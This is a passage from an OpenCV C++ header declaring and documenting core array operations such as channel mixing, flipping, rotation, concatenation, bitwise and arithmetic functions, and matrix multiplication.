CV_EXPORTS_W void split(InputArray m, OutputArrayOfArrays mv);
/** @brief Copies specified channels from input arrays to the specified channels of
output arrays.
The function cv::mixChannels provides an advanced mechanism for shuffling image channels.
cv::split,cv::merge,cv::extractChannel,cv::insertChannel and some forms of cv::cvtColor are partial cases of cv::mixChannels.
In the example below, the code splits a 4-channel BGRA image into a 3-channel BGR (with B and R
channels swapped) and a separate alpha-channel image:
@code{.cpp}
Mat bgra( 100, 100, CV_8UC4, Scalar(255,0,0,255) );
Mat bgr( bgra.rows, bgra.cols, CV_8UC3 );
Mat alpha( bgra.rows, bgra.cols, CV_8UC1 );
// forming an array of matrices is a quite efficient operation,
// because the matrix data is not copied, only the headers
Mat out[] = { bgr, alpha };
// bgra[0] -> bgr[2], bgra[1] -> bgr[1],
// bgra[2] -> bgr[0], bgra[3] -> alpha[0]
int from_to[] = { 0,2, 1,1, 2,0, 3,3 };
mixChannels( &bgra, 1, out, 2, from_to, 4 );
@endcode
@note Unlike many other new-style C++ functions in OpenCV (see the introduction section and
Mat::create ), cv::mixChannels requires the output arrays to be pre-allocated before calling the
function.
@param src input array or vector of matrices; all of the matrices must have the same size and the
same depth.
@param nsrcs number of matrices in `src`.
@param dst output array or vector of matrices; all the matrices **must be allocated**; their size and
depth must be the same as in `src[0]`.
@param ndsts number of matrices in `dst`.
@param fromTo array of index pairs specifying which channels are copied and where; fromTo[k\*2] is
a 0-based index of the input channel in src, fromTo[k\*2+1] is an index of the output channel in
dst; the continuous channel numbering is used: the first input image channels are indexed from 0 to
src[0].channels()-1, the second input image channels are indexed from src[0].channels() to
src[0].channels() + src[1].channels()-1, and so on, the same scheme is used for the output image
channels; as a special case, when fromTo[k\*2] is negative, the corresponding output channel is
filled with zero .
@param npairs number of index pairs in `fromTo`.
@sa split, merge, extractChannel, insertChannel, cvtColor
*/
CV_EXPORTS void mixChannels(const Mat* src, size_t nsrcs, Mat* dst, size_t ndsts,
const int* fromTo, size_t npairs);
/** @overload
@param src input array or vector of matrices; all of the matrices must have the same size and the
same depth.
@param dst output array or vector of matrices; all the matrices **must be allocated**; their size and
depth must be the same as in src[0].
@param fromTo array of index pairs specifying which channels are copied and where; fromTo[k\*2] is
a 0-based index of the input channel in src, fromTo[k\*2+1] is an index of the output channel in
dst; the continuous channel numbering is used: the first input image channels are indexed from 0 to
src[0].channels()-1, the second input image channels are indexed from src[0].channels() to
src[0].channels() + src[1].channels()-1, and so on, the same scheme is used for the output image
channels; as a special case, when fromTo[k\*2] is negative, the corresponding output channel is
filled with zero .
@param npairs number of index pairs in fromTo.
*/
CV_EXPORTS void mixChannels(InputArrayOfArrays src, InputOutputArrayOfArrays dst,
const int* fromTo, size_t npairs);
/** @overload
@param src input array or vector of matrices; all of the matrices must have the same size and the
same depth.
@param dst output array or vector of matrices; all the matrices **must be allocated**; their size and
depth must be the same as in src[0].
@param fromTo array of index pairs specifying which channels are copied and where; fromTo[k\*2] is
a 0-based index of the input channel in src, fromTo[k\*2+1] is an index of the output channel in
dst; the continuous channel numbering is used: the first input image channels are indexed from 0 to
src[0].channels()-1, the second input image channels are indexed from src[0].channels() to
src[0].channels() + src[1].channels()-1, and so on, the same scheme is used for the output image
channels; as a special case, when fromTo[k\*2] is negative, the corresponding output channel is
filled with zero .
*/
CV_EXPORTS_W void mixChannels(InputArrayOfArrays src, InputOutputArrayOfArrays dst,
const std::vector<int>& fromTo);
/** @brief Extracts a single channel from src (coi is 0-based index)
@param src input array
@param dst output array
@param coi index of channel to extract
@sa mixChannels, split
*/
CV_EXPORTS_W void extractChannel(InputArray src, OutputArray dst, int coi);
/** @brief Inserts a single channel to dst (coi is 0-based index)
@param src input array
@param dst output array
@param coi index of channel for insertion
@sa mixChannels, merge
*/
CV_EXPORTS_W void insertChannel(InputArray src, InputOutputArray dst, int coi);
/** @brief Flips a 2D array around vertical, horizontal, or both axes.
The function cv::flip flips the array in one of three different ways (row
and column indices are 0-based):
\f[\texttt{dst} _{ij} =
\left\{
\begin{array}{l l}
\texttt{src} _{\texttt{src.rows}-i-1,j} & if\; \texttt{flipCode} = 0 \\
\texttt{src} _{i, \texttt{src.cols} -j-1} & if\; \texttt{flipCode} > 0 \\
\texttt{src} _{ \texttt{src.rows} -i-1, \texttt{src.cols} -j-1} & if\; \texttt{flipCode} < 0 \\
\end{array}
\right.\f]
The example scenarios of using the function are the following:
* Vertical flipping of the image (flipCode == 0) to switch between
top-left and bottom-left image origin. This is a typical operation
in video processing on Microsoft Windows\* OS.
* Horizontal flipping of the image with the subsequent horizontal
shift and absolute difference calculation to check for a
vertical-axis symmetry (flipCode \> 0).
* Simultaneous horizontal and vertical flipping of the image with
the subsequent shift and absolute difference calculation to check
for a central symmetry (flipCode \< 0).
* Reversing the order of point arrays (flipCode \> 0 or
flipCode == 0).
@param src input array.
@param dst output array of the same size and type as src.
@param flipCode a flag to specify how to flip the array; 0 means
flipping around the x-axis and positive value (for example, 1) means
flipping around y-axis. Negative value (for example, -1) means flipping
around both axes.
@sa transpose , repeat , completeSymm
*/
CV_EXPORTS_W void flip(InputArray src, OutputArray dst, int flipCode);
enum RotateFlags {
ROTATE_90_CLOCKWISE = 0, //!<Rotate 90 degrees clockwise
ROTATE_180 = 1, //!<Rotate 180 degrees clockwise
ROTATE_90_COUNTERCLOCKWISE = 2, //!<Rotate 270 degrees clockwise
};
/** @brief Rotates a 2D array in multiples of 90 degrees.
The function cv::rotate rotates the array in one of three different ways:
* Rotate by 90 degrees clockwise (rotateCode = ROTATE_90_CLOCKWISE).
* Rotate by 180 degrees clockwise (rotateCode = ROTATE_180).
* Rotate by 270 degrees clockwise (rotateCode = ROTATE_90_COUNTERCLOCKWISE).
@param src input array.
@param dst output array of the same type as src. The size is the same with ROTATE_180,
and the rows and cols are switched for ROTATE_90_CLOCKWISE and ROTATE_90_COUNTERCLOCKWISE.
@param rotateCode an enum to specify how to rotate the array; see the enum #RotateFlags
@sa transpose , repeat , completeSymm, flip, RotateFlags
*/
CV_EXPORTS_W void rotate(InputArray src, OutputArray dst, int rotateCode);
/** @brief Fills the output array with repeated copies of the input array.
The function cv::repeat duplicates the input array one or more times along each of the two axes:
\f[\texttt{dst} _{ij}= \texttt{src} _{i\mod src.rows, \; j\mod src.cols }\f]
The second variant of the function is more convenient to use with @ref MatrixExpressions.
@param src input array to replicate.
@param ny Flag to specify how many times the `src` is repeated along the
vertical axis.
@param nx Flag to specify how many times the `src` is repeated along the
horizontal axis.
@param dst output array of the same type as `src`.
@sa cv::reduce
*/
CV_EXPORTS_W void repeat(InputArray src, int ny, int nx, OutputArray dst);
/** @overload
@param src input array to replicate.
@param ny Flag to specify how many times the `src` is repeated along the
vertical axis.
@param nx Flag to specify how many times the `src` is repeated along the
horizontal axis.
*/
CV_EXPORTS Mat repeat(const Mat& src, int ny, int nx);
/** @brief Applies horizontal concatenation to given matrices.
The function horizontally concatenates two or more cv::Mat matrices (with the same number of rows).
@code{.cpp}
cv::Mat matArray[] = { cv::Mat(4, 1, CV_8UC1, cv::Scalar(1)),
cv::Mat(4, 1, CV_8UC1, cv::Scalar(2)),
cv::Mat(4, 1, CV_8UC1, cv::Scalar(3)),};
cv::Mat out;
cv::hconcat( matArray, 3, out );
//out:
//[1, 2, 3;
// 1, 2, 3;
// 1, 2, 3;
// 1, 2, 3]
@endcode
@param src input array or vector of matrices. all of the matrices must have the same number of rows and the same depth.
@param nsrc number of matrices in src.
@param dst output array. It has the same number of rows and depth as the src, and the sum of cols of the src.
@sa cv::vconcat(const Mat*, size_t, OutputArray), @sa cv::vconcat(InputArrayOfArrays, OutputArray) and @sa cv::vconcat(InputArray, InputArray, OutputArray)
*/
CV_EXPORTS void hconcat(const Mat* src, size_t nsrc, OutputArray dst);
/** @overload
@code{.cpp}
cv::Mat_<float> A = (cv::Mat_<float>(3, 2) << 1, 4,
2, 5,
3, 6);
cv::Mat_<float> B = (cv::Mat_<float>(3, 2) << 7, 10,
8, 11,
9, 12);
cv::Mat C;
cv::hconcat(A, B, C);
//C:
//[1, 4, 7, 10;
// 2, 5, 8, 11;
// 3, 6, 9, 12]
@endcode
@param src1 first input array to be considered for horizontal concatenation.
@param src2 second input array to be considered for horizontal concatenation.
@param dst output array. It has the same number of rows and depth as the src1 and src2, and the sum of cols of the src1 and src2.
*/
CV_EXPORTS void hconcat(InputArray src1, InputArray src2, OutputArray dst);
/** @overload
@code{.cpp}
std::vector<cv::Mat> matrices = { cv::Mat(4, 1, CV_8UC1, cv::Scalar(1)),
cv::Mat(4, 1, CV_8UC1, cv::Scalar(2)),
cv::Mat(4, 1, CV_8UC1, cv::Scalar(3)),};
cv::Mat out;
cv::hconcat( matrices, out );
//out:
//[1, 2, 3;
// 1, 2, 3;
// 1, 2, 3;
// 1, 2, 3]
@endcode
@param src input array or vector of matrices. all of the matrices must have the same number of rows and the same depth.
@param dst output array. It has the same number of rows and depth as the src, and the sum of cols of the src.
same depth.
*/
CV_EXPORTS_W void hconcat(InputArrayOfArrays src, OutputArray dst);
/** @brief Applies vertical concatenation to given matrices.
The function vertically concatenates two or more cv::Mat matrices (with the same number of cols).
@code{.cpp}
cv::Mat matArray[] = { cv::Mat(1, 4, CV_8UC1, cv::Scalar(1)),
cv::Mat(1, 4, CV_8UC1, cv::Scalar(2)),
cv::Mat(1, 4, CV_8UC1, cv::Scalar(3)),};
cv::Mat out;
cv::vconcat( matArray, 3, out );
//out:
//[1, 1, 1, 1;
// 2, 2, 2, 2;
// 3, 3, 3, 3]
@endcode
@param src input array or vector of matrices. all of the matrices must have the same number of cols and the same depth.
@param nsrc number of matrices in src.
@param dst output array. It has the same number of cols and depth as the src, and the sum of rows of the src.
@sa cv::hconcat(const Mat*, size_t, OutputArray), @sa cv::hconcat(InputArrayOfArrays, OutputArray) and @sa cv::hconcat(InputArray, InputArray, OutputArray)
*/
CV_EXPORTS void vconcat(const Mat* src, size_t nsrc, OutputArray dst);
/** @overload
@code{.cpp}
cv::Mat_<float> A = (cv::Mat_<float>(3, 2) << 1, 7,
2, 8,
3, 9);
cv::Mat_<float> B = (cv::Mat_<float>(3, 2) << 4, 10,
5, 11,
6, 12);
cv::Mat C;
cv::vconcat(A, B, C);
//C:
//[1, 7;
// 2, 8;
// 3, 9;
// 4, 10;
// 5, 11;
// 6, 12]
@endcode
@param src1 first input array to be considered for vertical concatenation.
@param src2 second input array to be considered for vertical concatenation.
@param dst output array. It has the same number of cols and depth as the src1 and src2, and the sum of rows of the src1 and src2.
*/
CV_EXPORTS void vconcat(InputArray src1, InputArray src2, OutputArray dst);
/** @overload
@code{.cpp}
std::vector<cv::Mat> matrices = { cv::Mat(1, 4, CV_8UC1, cv::Scalar(1)),
cv::Mat(1, 4, CV_8UC1, cv::Scalar(2)),
cv::Mat(1, 4, CV_8UC1, cv::Scalar(3)),};
cv::Mat out;
cv::vconcat( matrices, out );
//out:
//[1, 1, 1, 1;
// 2, 2, 2, 2;
// 3, 3, 3, 3]
@endcode
@param src input array or vector of matrices. all of the matrices must have the same number of cols and the same depth
@param dst output array. It has the same number of cols and depth as the src, and the sum of rows of the src.
same depth.
*/
CV_EXPORTS_W void vconcat(InputArrayOfArrays src, OutputArray dst);
/** @brief computes bitwise conjunction of the two arrays (dst = src1 & src2)
Calculates the per-element bit-wise conjunction of two arrays or an
array and a scalar.
The function cv::bitwise_and calculates the per-element bit-wise logical conjunction for:
* Two arrays when src1 and src2 have the same size:
\f[\texttt{dst} (I) = \texttt{src1} (I) \wedge \texttt{src2} (I) \quad \texttt{if mask} (I) \ne0\f]
* An array and a scalar when src2 is constructed from Scalar or has
the same number of elements as `src1.channels()`:
\f[\texttt{dst} (I) = \texttt{src1} (I) \wedge \texttt{src2} \quad \texttt{if mask} (I) \ne0\f]
* A scalar and an array when src1 is constructed from Scalar or has
the same number of elements as `src2.channels()`:
\f[\texttt{dst} (I) = \texttt{src1} \wedge \texttt{src2} (I) \quad \texttt{if mask} (I) \ne0\f]
In case of floating-point arrays, their machine-specific bit
representations (usually IEEE754-compliant) are used for the operation.
In case of multi-channel arrays, each channel is processed
independently. In the second and third cases above, the scalar is first
converted to the array type.
@param src1 first input array or a scalar.
@param src2 second input array or a scalar.
@param dst output array that has the same size and type as the input
arrays.
@param mask optional operation mask, 8-bit single channel array, that
specifies elements of the output array to be changed.
*/
CV_EXPORTS_W void bitwise_and(InputArray src1, InputArray src2,
OutputArray dst, InputArray mask = noArray());
/** @brief Calculates the per-element bit-wise disjunction of two arrays or an
array and a scalar.
The function cv::bitwise_or calculates the per-element bit-wise logical disjunction for:
* Two arrays when src1 and src2 have the same size:
\f[\texttt{dst} (I) = \texttt{src1} (I) \vee \texttt{src2} (I) \quad \texttt{if mask} (I) \ne0\f]
* An array and a scalar when src2 is constructed from Scalar or has
the same number of elements as `src1.channels()`:
\f[\texttt{dst} (I) = \texttt{src1} (I) \vee \texttt{src2} \quad \texttt{if mask} (I) \ne0\f]
* A scalar and an array when src1 is constructed from Scalar or has
the same number of elements as `src2.channels()`:
\f[\texttt{dst} (I) = \texttt{src1} \vee \texttt{src2} (I) \quad \texttt{if mask} (I) \ne0\f]
In case of floating-point arrays, their machine-specific bit
representations (usually IEEE754-compliant) are used for the operation.
In case of multi-channel arrays, each channel is processed
independently. In the second and third cases above, the scalar is first
converted to the array type.
@param src1 first input array or a scalar.
@param src2 second input array or a scalar.
@param dst output array that has the same size and type as the input
arrays.
@param mask optional operation mask, 8-bit single channel array, that
specifies elements of the output array to be changed.
*/
CV_EXPORTS_W void bitwise_or(InputArray src1, InputArray src2,
OutputArray dst, InputArray mask = noArray());
/** @brief Calculates the per-element bit-wise "exclusive or" operation on two
arrays or an array and a scalar.
The function cv::bitwise_xor calculates the per-element bit-wise logical "exclusive-or"
operation for:
* Two arrays when src1 and src2 have the same size:
\f[\texttt{dst} (I) = \texttt{src1} (I) \oplus \texttt{src2} (I) \quad \texttt{if mask} (I) \ne0\f]
* An array and a scalar when src2 is constructed from Scalar or has
the same number of elements as `src1.channels()`:
\f[\texttt{dst} (I) = \texttt{src1} (I) \oplus \texttt{src2} \quad \texttt{if mask} (I) \ne0\f]
* A scalar and an array when src1 is constructed from Scalar or has
the same number of elements as `src2.channels()`:
\f[\texttt{dst} (I) = \texttt{src1} \oplus \texttt{src2} (I) \quad \texttt{if mask} (I) \ne0\f]
In case of floating-point arrays, their machine-specific bit
representations (usually IEEE754-compliant) are used for the operation.
In case of multi-channel arrays, each channel is processed
independently. In the 2nd and 3rd cases above, the scalar is first
converted to the array type.
@param src1 first input array or a scalar.
@param src2 second input array or a scalar.
@param dst output array that has the same size and type as the input
arrays.
@param mask optional operation mask, 8-bit single channel array, that
specifies elements of the output array to be changed.
*/
CV_EXPORTS_W void bitwise_xor(InputArray src1, InputArray src2,
OutputArray dst, InputArray mask = noArray());
/** @brief Inverts every bit of an array.
The function cv::bitwise_not calculates per-element bit-wise inversion of the input
array:
\f[\texttt{dst} (I) = \neg \texttt{src} (I)\f]
In case of a floating-point input array, its machine-specific bit
representation (usually IEEE754-compliant) is used for the operation. In
case of multi-channel arrays, each channel is processed independently.
@param src input array.
@param dst output array that has the same size and type as the input
array.
@param mask optional operation mask, 8-bit single channel array, that
specifies elements of the output array to be changed.
*/
CV_EXPORTS_W void bitwise_not(InputArray src, OutputArray dst,
InputArray mask = noArray());
/** @brief Calculates the per-element absolute difference between two arrays or between an array and a scalar.
The function cv::absdiff calculates:
* Absolute difference between two arrays when they have the same
size and type:
\f[\texttt{dst}(I) = \texttt{saturate} (| \texttt{src1}(I) - \texttt{src2}(I)|)\f]
* Absolute difference between an array and a scalar when the second
array is constructed from Scalar or has as many elements as the
number of channels in `src1`:
\f[\texttt{dst}(I) = \texttt{saturate} (| \texttt{src1}(I) - \texttt{src2} |)\f]
* Absolute difference between a scalar and an array when the first
array is constructed from Scalar or has as many elements as the
number of channels in `src2`:
\f[\texttt{dst}(I) = \texttt{saturate} (| \texttt{src1} - \texttt{src2}(I) |)\f]
where I is a multi-dimensional index of array elements. In case of
multi-channel arrays, each channel is processed independently.
@note Saturation is not applied when the arrays have the depth CV_32S.
You may even get a negative value in the case of overflow.
@param src1 first input array or a scalar.
@param src2 second input array or a scalar.
@param dst output array that has the same size and type as input arrays.
@sa cv::abs(const Mat&)
*/
CV_EXPORTS_W void absdiff(InputArray src1, InputArray src2, OutputArray dst);
/** @brief This is an overloaded member function, provided for convenience (python)
Copies the matrix to another one.
When the operation mask is specified, if the Mat::create call shown above reallocates the matrix, the newly allocated matrix is initialized with all zeros before copying the data.
@param src source matrix.
@param dst Destination matrix. If it does not have a proper size or type before the operation, it is
reallocated.
@param mask Operation mask of the same size as \*this. Its non-zero elements indicate which matrix
elements need to be copied. The mask has to be of type CV_8U and can have 1 or multiple channels.
*/
void CV_EXPORTS_W copyTo(InputArray src, OutputArray dst, InputArray mask);
/** @brief Checks if array elements lie between the elements of two other arrays.
The function checks the range as follows:
- For every element of a single-channel input array:
\f[\texttt{dst} (I)= \texttt{lowerb} (I)_0 \leq \texttt{src} (I)_0 \leq \texttt{upperb} (I)_0\f]
- For two-channel arrays:
\f[\texttt{dst} (I)= \texttt{lowerb} (I)_0 \leq \texttt{src} (I)_0 \leq \texttt{upperb} (I)_0 \land \texttt{lowerb} (I)_1 \leq \texttt{src} (I)_1 \leq \texttt{upperb} (I)_1\f]
- and so forth.
That is, dst (I) is set to 255 (all 1 -bits) if src (I) is within the
specified 1D, 2D, 3D, ... box and 0 otherwise.
When the lower and/or upper boundary parameters are scalars, the indexes
(I) at lowerb and upperb in the above formulas should be omitted.
@param src first input array.
@param lowerb inclusive lower boundary array or a scalar.
@param upperb inclusive upper boundary array or a scalar.
@param dst output array of the same size as src and CV_8U type.
*/
CV_EXPORTS_W void inRange(InputArray src, InputArray lowerb,
InputArray upperb, OutputArray dst);
/** @brief Performs the per-element comparison of two arrays or an array and scalar value.
The function compares:
* Elements of two arrays when src1 and src2 have the same size:
\f[\texttt{dst} (I) = \texttt{src1} (I) \,\texttt{cmpop}\, \texttt{src2} (I)\f]
* Elements of src1 with a scalar src2 when src2 is constructed from
Scalar or has a single element:
\f[\texttt{dst} (I) = \texttt{src1}(I) \,\texttt{cmpop}\, \texttt{src2}\f]
* src1 with elements of src2 when src1 is constructed from Scalar or
has a single element:
\f[\texttt{dst} (I) = \texttt{src1} \,\texttt{cmpop}\, \texttt{src2} (I)\f]
When the comparison result is true, the corresponding element of output
array is set to 255. The comparison operations can be replaced with the
equivalent matrix expressions:
@code{.cpp}
Mat dst1 = src1 >= src2;
Mat dst2 = src1 < 8;
...
@endcode
@param src1 first input array or a scalar; when it is an array, it must have a single channel.
@param src2 second input array or a scalar; when it is an array, it must have a single channel.
@param dst output array of type ref CV_8U that has the same size and the same number of channels as
the input arrays.
@param cmpop a flag, that specifies correspondence between the arrays (cv::CmpTypes)
@sa checkRange, min, max, threshold
*/
CV_EXPORTS_W void compare(InputArray src1, InputArray src2, OutputArray dst, int cmpop);
/** @brief Calculates per-element minimum of two arrays or an array and a scalar.
The function cv::min calculates the per-element minimum of two arrays:
\f[\texttt{dst} (I)= \min ( \texttt{src1} (I), \texttt{src2} (I))\f]
or array and a scalar:
\f[\texttt{dst} (I)= \min ( \texttt{src1} (I), \texttt{value} )\f]
@param src1 first input array.
@param src2 second input array of the same size and type as src1.
@param dst output array of the same size and type as src1.
@sa max, compare, inRange, minMaxLoc
*/
CV_EXPORTS_W void min(InputArray src1, InputArray src2, OutputArray dst);
/** @overload
needed to avoid conflicts with const _Tp& std::min(const _Tp&, const _Tp&, _Compare)
*/
CV_EXPORTS void min(const Mat& src1, const Mat& src2, Mat& dst);
/** @overload
needed to avoid conflicts with const _Tp& std::min(const _Tp&, const _Tp&, _Compare)
*/
CV_EXPORTS void min(const UMat& src1, const UMat& src2, UMat& dst);
/** @brief Calculates per-element maximum of two arrays or an array and a scalar.
The function cv::max calculates the per-element maximum of two arrays:
\f[\texttt{dst} (I)= \max ( \texttt{src1} (I), \texttt{src2} (I))\f]
or array and a scalar:
\f[\texttt{dst} (I)= \max ( \texttt{src1} (I), \texttt{value} )\f]
@param src1 first input array.
@param src2 second input array of the same size and type as src1 .
@param dst output array of the same size and type as src1.
@sa min, compare, inRange, minMaxLoc, @ref MatrixExpressions
*/
CV_EXPORTS_W void max(InputArray src1, InputArray src2, OutputArray dst);
/** @overload
needed to avoid conflicts with const _Tp& std::min(const _Tp&, const _Tp&, _Compare)
*/
CV_EXPORTS void max(const Mat& src1, const Mat& src2, Mat& dst);
/** @overload
needed to avoid conflicts with const _Tp& std::min(const _Tp&, const _Tp&, _Compare)
*/
CV_EXPORTS void max(const UMat& src1, const UMat& src2, UMat& dst);
/** @brief Calculates a square root of array elements.
The function cv::sqrt calculates a square root of each input array element.
In case of multi-channel arrays, each channel is processed
independently. The accuracy is approximately the same as of the built-in
std::sqrt .
@param src input floating-point array.
@param dst output array of the same size and type as src.
*/
CV_EXPORTS_W void sqrt(InputArray src, OutputArray dst);
/** @brief Raises every array element to a power.
The function cv::pow raises every element of the input array to power :
\f[\texttt{dst} (I) = \fork{\texttt{src}(I)^{power}}{if \(\texttt{power}\) is integer}{|\texttt{src}(I)|^{power}}{otherwise}\f]
So, for a non-integer power exponent, the absolute values of input array
elements are used. However, it is possible to get true values for
negative values using some extra operations. In the example below,
computing the 5th root of array src shows:
@code{.cpp}
Mat mask = src < 0;
pow(src, 1./5, dst);
subtract(Scalar::all(0), dst, dst, mask);
@endcode
For some values of power, such as integer values, 0.5 and -0.5,
specialized faster algorithms are used.
Special values (NaN, Inf) are not handled.
@param src input array.
@param power exponent of power.
@param dst output array of the same size and type as src.
@sa sqrt, exp, log, cartToPolar, polarToCart
*/
CV_EXPORTS_W void pow(InputArray src, double power, OutputArray dst);
/** @brief Calculates the exponent of every array element.
The function cv::exp calculates the exponent of every element of the input
array:
\f[\texttt{dst} [I] = e^{ src(I) }\f]
The maximum relative error is about 7e-6 for single-precision input and
less than 1e-10 for double-precision input. Currently, the function
converts denormalized values to zeros on output. Special values (NaN,
Inf) are not handled.
@param src input array.
@param dst output array of the same size and type as src.
@sa log , cartToPolar , polarToCart , phase , pow , sqrt , magnitude
*/
CV_EXPORTS_W void exp(InputArray src, OutputArray dst);
/** @brief Calculates the natural logarithm of every array element.
The function cv::log calculates the natural logarithm of every element of the input array:
\f[\texttt{dst} (I) = \log (\texttt{src}(I)) \f]
Output on zero, negative and special (NaN, Inf) values is undefined.
@param src input array.
@param dst output array of the same size and type as src .
@sa exp, cartToPolar, polarToCart, phase, pow, sqrt, magnitude
*/
CV_EXPORTS_W void log(InputArray src, OutputArray dst);
/** @brief Calculates x and y coordinates of 2D vectors from their magnitude and angle.
The function cv::polarToCart calculates the Cartesian coordinates of each 2D
vector represented by the corresponding elements of magnitude and angle:
\f[\begin{array}{l} \texttt{x} (I) = \texttt{magnitude} (I) \cos ( \texttt{angle} (I)) \\ \texttt{y} (I) = \texttt{magnitude} (I) \sin ( \texttt{angle} (I)) \\ \end{array}\f]
The relative accuracy of the estimated coordinates is about 1e-6.
@param magnitude input floating-point array of magnitudes of 2D vectors;
it can be an empty matrix (=Mat()), in this case, the function assumes
that all the magnitudes are =1; if it is not empty, it must have the
same size and type as angle.
@param angle input floating-point array of angles of 2D vectors.
@param x output array of x-coordinates of 2D vectors; it has the same
size and type as angle.
@param y output array of y-coordinates of 2D vectors; it has the same
size and type as angle.
@param angleInDegrees when true, the input angles are measured in
degrees, otherwise, they are measured in radians.
@sa cartToPolar, magnitude, phase, exp, log, pow, sqrt
*/
CV_EXPORTS_W void polarToCart(InputArray magnitude, InputArray angle,
OutputArray x, OutputArray y, bool angleInDegrees = false);
/** @brief Calculates the magnitude and angle of 2D vectors.
The function cv::cartToPolar calculates either the magnitude, angle, or both
for every 2D vector (x(I),y(I)):
\f[\begin{array}{l} \texttt{magnitude} (I)= \sqrt{\texttt{x}(I)^2+\texttt{y}(I)^2} , \\ \texttt{angle} (I)= \texttt{atan2} ( \texttt{y} (I), \texttt{x} (I))[ \cdot180 / \pi ] \end{array}\f]
The angles are calculated with accuracy about 0.3 degrees. For the point
(0,0), the angle is set to 0.
@param x array of x-coordinates; this must be a single-precision or
double-precision floating-point array.
@param y array of y-coordinates, that must have the same size and same type as x.
@param magnitude output array of magnitudes of the same size and type as x.
@param angle output array of angles that has the same size and type as
x; the angles are measured in radians (from 0 to 2\*Pi) or in degrees (0 to 360 degrees).
@param angleInDegrees a flag, indicating whether the angles are measured
in radians (which is by default), or in degrees.
@sa Sobel, Scharr
*/
CV_EXPORTS_W void cartToPolar(InputArray x, InputArray y,
OutputArray magnitude, OutputArray angle,
bool angleInDegrees = false);
/** @brief Calculates the rotation angle of 2D vectors.
The function cv::phase calculates the rotation angle of each 2D vector that
is formed from the corresponding elements of x and y :
\f[\texttt{angle} (I) = \texttt{atan2} ( \texttt{y} (I), \texttt{x} (I))\f]
The angle estimation accuracy is about 0.3 degrees. When x(I)=y(I)=0 ,
the corresponding angle(I) is set to 0.
@param x input floating-point array of x-coordinates of 2D vectors.
@param y input array of y-coordinates of 2D vectors; it must have the
same size and the same type as x.
@param angle output array of vector angles; it has the same size and
same type as x .
@param angleInDegrees when true, the function calculates the angle in
degrees, otherwise, they are measured in radians.
*/
CV_EXPORTS_W void phase(InputArray x, InputArray y, OutputArray angle,
bool angleInDegrees = false);
/** @brief Calculates the magnitude of 2D vectors.
The function cv::magnitude calculates the magnitude of 2D vectors formed
from the corresponding elements of x and y arrays:
\f[\texttt{dst} (I) = \sqrt{\texttt{x}(I)^2 + \texttt{y}(I)^2}\f]
@param x floating-point array of x-coordinates of the vectors.
@param y floating-point array of y-coordinates of the vectors; it must
have the same size as x.
@param magnitude output array of the same size and type as x.
@sa cartToPolar, polarToCart, phase, sqrt
*/
CV_EXPORTS_W void magnitude(InputArray x, InputArray y, OutputArray magnitude);
/** @brief Checks every element of an input array for invalid values.
The function cv::checkRange checks that every array element is neither NaN nor infinite. When minVal \>
-DBL_MAX and maxVal \< DBL_MAX, the function also checks that each value is between minVal and
maxVal. In case of multi-channel arrays, each channel is processed independently. If some values
are out of range, position of the first outlier is stored in pos (when pos != NULL). Then, the
function either returns false (when quiet=true) or throws an exception.
@param a input array.
@param quiet a flag, indicating whether the functions quietly return false when the array elements
are out of range or they throw an exception.
@param pos optional output parameter, when not NULL, must be a pointer to array of src.dims
elements.
@param minVal inclusive lower boundary of valid values range.
@param maxVal exclusive upper boundary of valid values range.
*/
CV_EXPORTS_W bool checkRange(InputArray a, bool quiet = true, CV_OUT Point* pos = 0,
double minVal = -DBL_MAX, double maxVal = DBL_MAX);
/** @brief converts NaN's to the given number
*/
CV_EXPORTS_W void patchNaNs(InputOutputArray a, double val = 0);
/** @brief Performs generalized matrix multiplication.
The function cv::gemm performs generalized matrix multiplication similar to the
gemm functions in BLAS level 3. For example,
`gemm(src1, src2, alpha, src3, beta, dst, GEMM_1_T + GEMM_3_T)`
corresponds to
\f[\texttt{dst} = \texttt{alpha} \cdot \texttt{src1} ^T \cdot \texttt{src2} + \texttt{beta} \cdot \texttt{src3} ^T\f]
In case of complex (two-channel) data, performed a complex matrix
multiplication.
The function can be replaced with a matrix expression. For example, the
above call can be replaced with:
@code{.cpp}
dst = alpha*src1.t()*src2 + beta*src3.t();
@endcode
@param src1 first multiplied input matrix that could be real(CV_32FC1,
CV_64FC1) or complex(CV_32FC2, CV_64FC2).
@param src2 second multiplied input matrix of the same type as src1.
@param alpha weight of the matrix product.
@param src3 third optional delta matrix added to the matrix product; it
should have the same type as src1 and src2.
@param beta weight of src3.
@param dst output matrix; it has the proper size and the same type as
input matrices.
@param flags operation flags (cv::GemmFlags)
@sa mulTransposed , transform
*/
CV_EXPORTS_W void gemm(InputArray src1, InputArray src2, double alpha,
InputArray src3, double beta, OutputArray dst, int flags = 0);
/** @brief Calculates the product of a matrix and its transposition.
The function cv::mulTransposed calculates the product of src and its
transposition:
\f[\texttt{dst} = \texttt{scale} ( \texttt{src} - \texttt{delta} )^T ( \texttt{src} - \texttt{delta} )\f]
if aTa=true , and
\f[\texttt{dst} = \texttt{scale} ( \texttt{src} - \texttt{delta} ) ( \texttt{src} - \texttt{delta} )^T\f]
otherwise. The function is used to calculate the covariance matrix. With
zero delta, it can be used as a faster substitute for general matrix
product A\*B when B=A'
@param src input single-channel matrix. Note that unlike gemm, the
function can multiply not only floating-point matrices.
@param dst output square matrix.
@param aTa Flag specifying the multiplication ordering. See the
description below.
@param delta Optional delta matrix subtracted from src before the
multiplication. When the matrix is empty ( delta=noArray() ), it is
assumed to be zero, that is, nothing is subtracted. If it has the same
size as src , it is simply subtracted. Otherwise, it is "repeated" (see
repeat ) to cover the full src and then subtracted. Type of the delta
matrix, when it is not empty, must be the same as the type of created
output matrix. See the dtype parameter description below.
@param scale Optional scale factor for the matrix product.
@param dtype Optional type of the output matrix. When it is negative,
the output matrix will have the same type as src . Otherwise, it will be
type=CV_MAT_DEPTH(dtype) that should be either CV_32F or CV_64F .
@sa calcCovarMatrix, gemm, repeat, reduce
*/
CV_EXPORTS_W void mulTransposed( InputArray src, OutputArray dst, bool aTa,
InputArray delta = noArray(),
double scale = 1, int dtype = -1 );
/** @brief Transposes a matrix.
The function cv::transpose transposes the matrix src :
\f[\texttt{dst} (i,j) = \texttt{src} (j,i)\f]
@note No complex conjugation is done in case of a complex matrix. It
should be done separately if needed.
@param src input array.
@param dst output array of the same type as src.
*/
CV_EXPORTS_W void transpose(InputArray src, OutputArray dst);
/** @brief Performs the matrix transformation of every array element.
The function cv::transform performs the matrix transformation of every
element of the array src and stores the results in dst :
\f[\texttt{dst} (I) = \texttt{m} \cdot \texttt{src} (I)\f]
(when m.cols=src.channels() ), or
